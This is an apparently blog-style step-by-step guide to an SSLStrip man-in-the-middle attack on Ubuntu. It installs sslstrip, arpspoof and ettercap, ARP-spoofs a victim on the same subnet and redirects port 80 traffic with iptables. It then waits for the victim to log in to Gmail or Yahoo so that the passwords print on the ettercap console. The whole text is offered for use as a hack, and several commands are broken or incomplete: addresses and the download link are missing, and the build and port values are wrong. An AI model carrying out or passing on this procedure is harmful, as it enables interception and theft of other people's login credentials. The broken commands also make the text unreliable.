SSLStrip Step by Step on Ubuntu

SSLStrip used along with MITM to hack SSL websites.
You will need following tools
  1. SSLStrip
  2. arpspoof
  3. ettercap
  4. Ubuntu Linux
  5. Internet Connection
  6. Victim has to be in the same subnet
Step 1:- Download SSLStrip from

Step 2:- Unzip the downloaded files use "tar -zxvf sslstrip-0.4.tar.gz"

Step 3:- Build SSLStrip change directory to unzip folder run "python build"

Step 4:- Install SSLStrip run "sudo python install" , Requires root privilages

Step 5:- Install arpspoof "sudo apt-get install dsniff"

Step 6:- Install ettercap "sudo apt-get install ettercap"

Step 7:- Verify you ipaddress "ifconfig" Notice the hackers ip is

Step 8:- Verify your default gateway "ip route show | grep default | awk '{ print $3}' "

Note : This hack works only if victims gateway address is same as that of the Hacker. ( in the above example)

Step 9:- Create three different tabs in your terminal window. We need to run three commands parallely. In first tab run " sudo arpspoof -t"

Step 10:- Second tab run "iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-ports 1000"
and run "sslstrip"

Step 11:- In the thisd tab run ettercap. Ethercap will print all the password it sniffed on the console. "sudo ettercap -Tqz"

Step 12:- Wait for the victim to login to gmail , yahoo etc.. the passwords will be printed on ettercap console.
